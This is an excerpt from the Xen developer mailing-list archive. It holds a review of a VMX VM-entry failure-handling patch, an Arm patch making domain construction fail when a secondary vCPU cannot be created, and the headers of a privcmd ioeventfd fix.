X-purgate-ID: tlsNG-720697/1783494455-4F51C7C5-46867C5E/0/0
X-purgate-type: clean
X-purgate-size: 7159

On 07.07.2026 21:35, Andrew Cooper wrote:
> The VMEntry failure handling does not distinguish VMFail Valid vs Invalid.  In
> the latter case, vmx_vmentry_failure() will hit a BUG() when trying to look up
> VM_INSTRUCTION_ERROR.

That's the BUG() in __vmread(), I expect? I suppose this is also connected to ...

> Slightly RFC - it's fairly hard to these these.  It came from code inspection
> rather than encountering a VMFailInvalid case in practice.

... this. (Presumably the first "these" also was meant to be "observe" or "hit"
or some such.) What I'm having difficulty with is seeing how we would make it
as far: If said __vmread() hit its BUG(), wouldn't all earlier VMCS accesses
(reads or writes) have hit that, too? I.e. would this be guarding us merely
against a pretty narrow window where memory corruption might occur? And
wouldn't that then be as little or as much of a reason for crashing as any
other failed VM{READ,WRITE}?

> --- a/xen/arch/x86/hvm/vmx/entry.S
> +++ b/xen/arch/x86/hvm/vmx/entry.S
> @@ -154,21 +154,7 @@ UNLIKELY_END(realmode)
>  
>  .Lvmx_launch:
>          vmlaunch
> -
> -.Lvmx_vmentry_fail:
> -        sti
> -        PUSH_AND_CLEAR_GPRS
> -
> -        /*
> -         * SPEC_CTRL_ENTRY notes
> -         *
> -         * If we end up here, no guest code has executed.  The MSR lists have
> -         * not been processed, so we still have Xen's choice of MSR_SPEC_CTRL
> -         * in context, and the RSB is unchanged.
> -         */
> -
> -        call vmx_vmentry_failure
> -        jmp  .Lvmx_process_softirqs
> +        jmp  .Lvmx_vmentry_fail
>  
>  LABEL(vmx_asm_do_vmentry)
>          GET_CURRENT(bx)
> @@ -189,3 +175,30 @@ LABEL(vmx_asm_do_vmentry)
>          call do_softirq
>          jmp  .Lvmx_do_vmentry
>  END(vmx_asm_vmexit_handler)
> +
> +        .section .text.cold, "ax", @progbits
> +
> +FUNC(vmx_asm_vmexit_handler.cold)

Is this doing what you want when CC_SPLIT_SECTIONS=y (and assuming my patch
to extend this to assembly code would finally land)?

> +.Lvmx_vmentry_fail:
> +        /*
> +         * SPEC_CTRL_ENTRY notes
> +         *
> +         * If we end up here, no guest code has executed.  The MSR lists have
> +         * not been processed, so we still have Xen's choice of MSR_SPEC_CTRL
> +         * in context, and the RSB is unchanged.

How do we know the MSR lists haven't been processed? VM entry can fail because
of that processing. Afaict we only know this in the "VMfail invalid" case. For
SPEC_CTRL (in the "VMfail valid" case) this means we only have Xen's choice
still in context if that's the last entry on the list.

> +         * The guest registers are live, and the on-stack copy is up-to-date.
> +         * PUSH_AND_CLEAR_GPRS clobbers flags and can't reasonably be made not
> +         * to.  The Carry flag (VMFail Invalid vs Valid) needs preserving.

Define "reasonably". What about (with my CET-SS part included)

.macro PUSH_AND_CLEAR_GPRS ssp=IS_ENABLED(CONFIG_XEN_SHSTK)
        push  %rdi
        mov   $0, %edi
        push  %rsi
        mov   %edi, %esi
        push  %rdx
        mov   %edi, %edx
        push  %rcx
        mov   %edi, %ecx
        push  %rax
        mov   %edi, %eax
 .if \ssp
        rdsspq %rcx
 .endif
        push  %r8
        mov   %edi, %r8d
        push  %r9
        mov   %edi, %r9d
        push  %r10
        mov   %edi, %r10d
        push  %r11
        mov   %edi, %r11d
        push  %rbx
        mov   %edi, %ebx
        push  %rbp
#ifdef CONFIG_FRAME_POINTER
/* Indicate special exception stack frame by inverting the frame pointer. */
        mov   %rsp, %rbp
        not   %rbp
#else
        mov   %edi, %ebp
#endif
        push  %r12
        mov   %edi, %r12d
        push  %r13
        mov   %edi, %r13d
        push  %r14
        mov   %edi, %r14d
        push  %r15
        mov   %edi, %r15d
#ifdef CONFIG_XEN_SHSTK
        push  %rcx
#endif
.endm

? Whether we'd accept the slightly longer form everywhere, or whether we'd
prefer to add a parameter is TBD.

> +         * We could opencode PUSH_AND_CLEAR_GPRS but that's fragile to stack
> +         * layout changes.  Instead, use a spare byte in the cpuinfo block.
> +         */
> +        setnc   STK_REL(CPUINFO_vmx_vmfail_valid, CPUINFO_error_code)(%rsp)
> +
> +        PUSH_AND_CLEAR_GPRS
> +        sti

Any reason you have re-ordered these two? Can't STI still be the very first
insn after the label? (Of course, if - as per above - SPEC_CTRL would first
need restoring, that would likely need to be ahead of STI.)

> --- a/xen/arch/x86/hvm/vmx/vmcs.c
> +++ b/xen/arch/x86/hvm/vmx/vmcs.c
> @@ -1833,18 +1833,53 @@ void vmx_destroy_vmcs(struct vcpu *v)
>      free_xenheap_page(v->arch.hvm.vmx.msr_bitmap);
>  }
>  
> -void vmx_vmentry_failure(void)
> +static const char *vmx_error_str(unsigned int error)
> +{
> +    switch ( error )
> +    {
> +    case VMX_INSN_VMLAUNCH_NONCLEAR_VMCS:
> +        return "VMLAUNCH with non-clear VMCS";
> +
> +    case VMX_INSN_VMRESUME_NONLAUNCHED_VMCS:
> +        return "VMRESUME with non-launched VMCS";
> +
> +    case VMX_INSN_VMRESUME_AFTER_VMXOFF:
> +        return "VMRESUME after VMXOFF";
> +
> +    case VMX_INSN_INVALID_CONTROL_STATE:
> +        return "Invalid control state";
> +
> +    case VMX_INSN_INVALID_HOST_STATE:
> +        return "Invalid host state";
> +
> +    case VMX_INSN_VMENTRY_BLOCKED_BY_MOV_SS:
> +        return "Blocked by MOV-SS";
> +
> +    default:
> +        return "Unknown";
> +    }
> +}
> +
> +void asmlinkage __cold vmx_vmentry_failure(void)
>  {
>      struct vcpu *curr = current;
> -    unsigned long error;
> +    bool valid = get_cpu_info()->vmx_vmfail_valid;
>  
> -    __vmread(VM_INSTRUCTION_ERROR, &error);
> -    gprintk(XENLOG_ERR, "VM%s error: %#lx\n",
> -            curr->arch.hvm.vmx.launched ? "RESUME" : "LAUNCH", error);
> +    gprintk(XENLOG_ERR, "VM%s Failure, VMCS %svalid\n",
> +            curr->arch.hvm.vmx.launched ? "RESUME" : "LAUNCH",
> +            valid ? "" : "not ");
>  
> -    if ( error == VMX_INSN_INVALID_CONTROL_STATE ||
> -         error == VMX_INSN_INVALID_HOST_STATE )
> -        vmcs_dump_vcpu(curr);
> +    if ( valid )
> +    {
> +        unsigned int error = vmread(VM_INSTRUCTION_ERROR);
> +
> +        gprintk(XENLOG_ERR, "  Instruction Error %u, %s\n",
> +                error, vmx_error_str(error));

With this being the only call to vmx_error_str(), would that better also be
__cold (despite the compiler almost certainly inlining it, unless __cold
triggered some special inlining decisions)?

> --- a/xen/arch/x86/include/asm/current.h
> +++ b/xen/arch/x86/include/asm/current.h
> @@ -80,6 +80,9 @@ struct cpu_info {
>       */
>      bool         use_pv_cr3;
>  
> +    /* Scratch space for the VT-x logic.  See users. */
> +    uint8_t      vmx_vmfail_valid;

Any reason this isn't bool? No use of the field wants it differently afaics.

Should we - mostly for doc purposes - also wrap this in #ifdef CONFIG_VMX?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 07:49:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 07:49:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356647.1611211 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whN2J-0005mX-Ev; Wed, 08 Jul 2026 07:49:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356647.1611211; Wed, 08 Jul 2026 07:49:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whN2J-0005mQ-CC; Wed, 08 Jul 2026 07:49:39 +0000
Received: by outflank-mailman (input) for mailman id 1356647;
 Wed, 08 Jul 2026 07:49:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whN2I-0005mK-QZ
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 07:49:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whN2G-00GXvF-JR
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:49:36 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e010c-5cb7-0a2a0a5109dd-0a2a4506e7d0-12
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 09:49:36 +0200
Received: from [40.107.208.37]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4e010e-08de-0a2a45060019-286bd0257056-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 09:49:35 +0200
Received: from BY3PR03CA0003.namprd03.prod.outlook.com (2603:10b6:a03:39a::8)
 by DM4PR12MB6159.namprd12.prod.outlook.com (2603:10b6:8:a8::5) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.8; Wed, 8 Jul 2026 07:49:30 +0000
Received: from SJ1PEPF000023CE.namprd02.prod.outlook.com
 (2603:10b6:a03:39a:cafe::87) by BY3PR03CA0003.outlook.office365.com
 (2603:10b6:a03:39a::8) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 07:49:29 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 SJ1PEPF000023CE.mail.protection.outlook.com (10.167.244.10) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 07:49:29 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 02:49:28 -0500
Received: from APPOL-18KY0J4.xilinx.com (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Wed, 8 Jul 2026 02:49:27 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FDUviwYPwm7RxDd7vImGo3R1njAN3cppE7nof++P95nCmLF34AriEbNS8sINqeC188scrwKrKaA6FcUqk+Hi7+TA7R19otPM7L3Vg5dym9GfIz4OA0diIhSIfMexSeUOTmkQ/UXMpKSgPi27bJC5LEM59CJe5ZcYKv4hK7oWR1YsARwx/Vkb0jkrSjAkD4iwV5HT9G2E1hSyhTlEJdfJKLysylmN62QGmVVsBxWAq5B2y/WHY/7Ff/Omt1Vbg62z70DPF6Po1B72q/POhvZeWXcSGJTQ+Adde+D8Jpwq8c4e2VFvoH7bZz6iNFiVMgQiwCjssLWN3q/ypSZ2sizV1g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OR6VlZfptXUjOwDr2aFzCqN6jh9+wY6MDQv0CCeuibY=;
 b=cNoxb2l9SsQN5VcAmtm2Os+jZ3SEe2Pex3WjlWoP2+ZozUjMfDvU2+jiashPtJ0OnayPhhPmunYwL+AoYQLAc5n6b2beypuNb7WAJTNBeDnFmvHtPp0QXkF7INfzFj4GiHzSHLDy199nK718ivRGUUpJUdb1awcpa7eql9h1allfrpf8ft/PecsxR1/NTU6AAgV7uFc5O9B6n+22f0gGfW68aWWFRlKoHL1wkoqT181q2gH2XCg4j65R6DLo3MYz2MlfCgj/Z/MrtcEnRL7kbCeTBvmw20+dcbxZfpLcn9iRA/r4FgE2xJvW5vI0+Z3qmVo9C7KF9tvGbiXvDvuMgA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OR6VlZfptXUjOwDr2aFzCqN6jh9+wY6MDQv0CCeuibY=;
 b=McadYgRn1tGtUrdozXMAGVaCXqQBlv5MhBuljkXkh591x/2eljzT6QBsS17EZwN74tEdGM4J6vRodvpARYimKSvXyUdGJ4ZFwIDam9Y21Ovigqo+OsN27/Ic+dQmn08Ntc4FZ9TNU6p69ybbecg4bR7TlsaSHVAtu7hAJOHXg6w=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
From: Michal Orzel <michal.orzel@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Michal Orzel <michal.orzel@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	<ayan.kumar.halder@amd.com>
Subject: [for-4.22][PATCH] xen/arm: Fail domain construction if a secondary vCPU cannot be created
Date: Wed, 8 Jul 2026 09:49:19 +0200
Message-ID: <20260708074919.33381-1-michal.orzel@amd.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF000023CE:EE_|DM4PR12MB6159:EE_
X-MS-Office365-Filtering-Correlation-Id: f7655a8c-8e05-41b4-d3eb-08dedcc57122
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|82310400026|1800799024|36860700016|18002099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	j1eCAPsCB0xEHjbGb9WOSPUHTYBl83Iq5e+ujJa8vMbq7ywuKvIll3cUizj26w10zMWPdlZdmuYGtXLJFqe4eOl2r2GrBc0Uz0V5chW8l33G9aivVSHrGDmhhdMQU2sqNw6ph3xV5EHhTKZGRlfWaEXGdpfAzb0K4zbhRP3zVPntsMfIT6UfCYUvLmW3nPMXDnk8+9haMiDoiGbfSPdBehZxAlXmiHr+Dc6mXd4xXci+DFUSwqhnK42g8ugXEUGHzaqoCrC9LjkEU180uMVqLa2KTIHzvf5oA2JJ0ND6qmkxkMBFjyxy31Sc9sAtbWzr4emi+vj5TMXYw1feoKlN/zIkvxL8m121gcyC9lWrzCoIkkL5XhFigwwFGS3ZnxXiT2ZpFE8iLLM8YJ0Fid2SPuvflfvMSWzpga2+iKgHr8cyAtyzXnuByNm816AZWmRBjxGxRU33uw8EureMsIMotUEa1LLMQS5/soPPezEOo+VDAmMWiLjAOW8WefhoEUYaL7dC3tVzHV0iKc/8mIwmxxpy+2HiGpZsPyzupvyQKRSTpWxbSRiasrAyNdX5NPIIxerpeqanFdfGGdk0w64tZTCVYkZ5+PU7Nqs3Mi2o7g36ENZikylBSSNUAE01gDBeUI5Qd0w5uxLCNFNPU/XyHyCuJEMlTsjkicUYW5aSvKKym+6ZOpeInXgMS2KPlfLvSVTXycTVQmVP7Mkq83phsA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(82310400026)(1800799024)(36860700016)(18002099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	WYxulBs6MFRxVmsuQXcZHEE2HHTwwLTyOX/ed2Vv4zE75fmzIBJ8D1uOOjgVgy0FqIgUFmTMv78OQb0OUWjhA11mxWWQvHa68rzcC05hYVYivBaaiHdU/wPIzMaQ9zgbdD7VDhyFeNXn5hZSFTUZeD2Ntogwp7SuxJOP2r4VapJ8lFqilmsgWved6rR0X9um88IvDgipsX1g0J1OyhrQg8pawF/41O3AHaeCJ+CS0owh4Zd/xFbZ3tMvVhYMYIf5hozFYovJW+M4/be9+xy+ZTA8MYerlI2ONKYEtUsmoO6pgNGRGHTnxuvCPGm27APDbO8oByGDZDP70QkFuz/Pnb5M+cfB3WYzEU3/K8h+I/E5l/mcI+A56ke/6J+kF7BjMpy3L4gKuCPwO2cU7r0NfTHkQw9/nbxcThG4hsqybD/y3xNSaeoay4SFm5D4csO4
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 07:49:29.6697
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: f7655a8c-8e05-41b4-d3eb-08dedcc57122
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF000023CE.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR12MB6159
X-purgate-ID: tlsNG-16d1c6/1783496975-4292368D-BC3FEFAD/0/0
X-purgate-type: clean
X-purgate-size: 1546

construct_domain() creates the secondary vCPUs in a loop, but on a
vcpu_create() failure it only prints a message and breaks out of the
loop returning success. As a result the domain can be constructed
with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
below max_vcpus.

When the guest probes the redistributor of a vCPU that was never created,
get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.

Return an error instead of breaking out of the loop. Both callers
(construct_domU() and construct_hwdom()) already propagate a negative
return value and fail domain construction, which is the correct
behaviour: a domain that cannot provide the requested number of vCPUs
should not be brought up.

Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
Signed-off-by: Michal Orzel <michal.orzel@amd.com>
---
 xen/arch/arm/domain_build.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
index 550617f152bb..b46574fd32aa 100644
--- a/xen/arch/arm/domain_build.c
+++ b/xen/arch/arm/domain_build.c
@@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
         if ( vcpu_create(d, i) == NULL )
         {
             printk("Failed to allocate d%dv%d\n", d->domain_id, i);
-            break;
+            return -EINVAL;
         }
 
         if ( is_64bit_domain(d) )
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 08:30:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 08:30:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356676.1611223 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whNfg-0004GO-1I; Wed, 08 Jul 2026 08:30:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356676.1611223; Wed, 08 Jul 2026 08:30:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whNff-0004GH-Uf; Wed, 08 Jul 2026 08:30:19 +0000
Received: by outflank-mailman (input) for mailman id 1356676;
 Wed, 08 Jul 2026 08:30:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <val@invisiblethingslab.com>) id 1whNfe-0004GB-K4
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 08:30:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whNfa-007VCJ-9b
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 10:30:14 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <val@invisiblethingslab.com>)
 id 6a4e0a93-bab6-0a2a0a5309dd-0a2a4501b4e6-18
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 10:30:14 +0200
Received: from [103.168.172.159] (helo=fhigh-a8-smtp.messagingengine.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <val@invisiblethingslab.com>)
 id 6a4e0a95-400f-0a2a45010019-67a8ac9f8385-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 10:30:13 +0200
Received: from phl-compute-11.internal (phl-compute-11.internal [10.202.2.51])
 by mailfhigh.phl.internal (Postfix) with ESMTP id 7AA7F1400089;
 Wed,  8 Jul 2026 04:30:12 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-11.internal (MEProxy); Wed, 08 Jul 2026 04:30:12 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Wed,
 8 Jul 2026 04:30:08 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm1 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Transfer-Encoding:Date:Feedback-ID:From:Message-ID:MIME-Version:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-transfer-encoding
	:content-type:date:date:from:from:in-reply-to:message-id
	:mime-version:reply-to:subject:subject:to:to; s=fm1; t=
	1783499412; x=1783585812; bh=spn4dtqB3Q69Op6KIiVE9PBkafe0nSP6LQv
	4fRuj+2I=; b=CbDs0F7j0jZheA+WuUSjW0/U8Jznv54HnOQ7nOPwM6V70t1cmoq
	/K3HokXIemaZpGa4C/uMT4zqxkPT+hn2DJmYUKD4BJ9anaSsPQ+HSmDtBM2eyWYs
	lUo0g3YKGCxBPnzHtKWTqH1jN53W/rKK8TgsRWsQ0QmKcr47oatquSwaK+I2xJtg
	st6D0Vl9ldi2ZVitzGu/Cbpt5CsWvWqdS3z1xu4Y1H9ZM+ow22uSiRIRB/LDJnPy
	d2MdPFnJxBS6gizaPfQibf2lq0QSWIzlncRPGVE4I+5EJGPuxD3AJX1cG0B2x50u
	lnw/x32Vn+r555IVIas/IbutajWRujxmglw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-transfer-encoding
	:content-type:date:date:feedback-id:feedback-id:from:from
	:in-reply-to:message-id:mime-version:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1783499412; x=1783585812; bh=spn4dtqB3Q69Op6KIiVE9PBkafe0nSP6LQv
	4fRuj+2I=; b=BsJM38LtpT8kynmcxT5O3c0uw2xpwwacjYclvtgEQySo3+pkJs8
	e/UI4uenujfz86kXJxqzsNVimlgLC86hdiWlbs+O4ileiJd4GkCEF0zAV0pydLQz
	GsL0hec9/+3m9yjjgksD35+IaR3qbrv2O5ZFae0sf7N69QHujJOgZik7lB4YkJ7r
	ljQdlBwqVyxo6NmA72yolfm9oEbaG9chMGlAtkGqn4miFwAHsGTlFWaXrgT+lhRB
	NYd6JBIEBsPbwpN/H++vQCVFXAHWnPp1H6aSWTRXeFbFm7dPVfy4ODY7sZ/IpSck
	4hdKyiYK/a6MaeJYzhgnzitVJxfCyAxG2wQ==
X-ME-Sender: <xms:kwpOasmAD6cJ92QvJqvQbloc_e7Jdut-DB2cVSfGZ1BOPAX4i_eFfQ>
    <xme:kwpOan1pUvdRDgKs4ByWyn1sQVfG_nPZbJpACkmYH92WF_wjfhJm3Wr5o5RlcqKu6
    g6eGW9Rt4_8g7lPn0LFD5TiBmmS-jRmFuGKu4eIMz8lRtQ8Gug>
X-ME-Received: <xmr:kwpOas2I3IBAZHImOxrZlRD9ArP23lSNkigXC4bLsQJTOSJpbpCIvaSnn19LkNLSTHu3A9TQ1R_Pj9w0yF2EOiZpjq8>
X-ME-Proxy-Cause: dmFkZTF+TIHHHjLwpj0cjdB+7tKV6Iafm6ziG7tk77DxX7Xve5U1b3Y27/ByZmeR1z4Tzu
    cnpQtAmZZEyRenaE49XnG//yZHnzn7OAHkU2ke+alh+Yq8eYsLXquZxk3ctmQg35WY8wYc
    kfGMlVY52fbZoxqWZduxc6UZj5SHSzLsZM4kzgkK+MpX5y0unJYDdDvV/3OBKVyUCGox/v
    4iseyNSsPfyVvZFpyYaqZlPFjeBhX8lEaZH9R9swzyDqB7lfvfFIbtzvuzO61H/6sp6K3o
    YxdVKlnp51cAeLBw00ZdBZMPz5q5OMrFQDuMdqTlI6TD9/gSc3cRyMV6x4EKBmabKJnneI
    If5rCwD5IGiHYVYEt8ZYyp0mAbTitJrNc09MWS1Z68h7mlo8A28uC5fZC8LDcxaAXnxFVZ
    6X/2SzpSyGxfw6cBw9bhtRxar2QJd5ZdCglWPl27l7PV2VCRWDG5lRdAtjkWVJRt1GPXka
    Qp5v3hVZw+A5xd97AB/26XDUVQWO8LBKtzxE+mRDrf76lcqB8thwYrwVvjkGd5H/H85GYP
    YhLdmAKalpikmwRZ6jXmqs6e5lgL3qoT04eFtGrczoStrm2S3K9ARIi7um84fkvFZFUkab
    abTJ8NoLSHS1QpsCaudQrh8nWUu/+bnW45TwVh0OLxW2ybgRoS3pNAL/3B1A
X-ME-Proxy: <xmx:kwpOappNfhbSKWhwDS2gxGAheNPxMlxVcbeofhbgg9pLHUt7TC695g>
    <xmx:kwpOaog7laoeyNF2iX3GRuQidt0MerAzGRciYNhUUA73CIIrAik9GA>
    <xmx:kwpOal8-85PZ8Ng2p6nQkKulskZL5S-9qdmipWEauXKDjkeo2LJ9Ig>
    <xmx:kwpOakUYr-u2GRcgtaMXk3QN5RK7sGgUIi9KCiajxIruv_X2MLCeng>
    <xmx:lApOarsfm-Bg7joY1Cfe-TUxB11A18vgFO8e7Z3fJibOUkqKgXL9JZl6>
Feedback-ID: i001e48d0:Fastmail
From: Val Packett <val@invisiblethingslab.com>
To: Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: Val Packett <val@invisiblethingslab.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	xen-devel@lists.xenproject.org,
	linux-kernel@vger.kernel.org,
	virtualization@lists.linux.dev
Subject: [PATCH] xen: privcmd: fix ioeventfd crash under PV domain
Date: Wed,  8 Jul 2026 05:18:03 -0300
Message-ID: <20260708082934.16038-1-val@invisiblethingslab.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
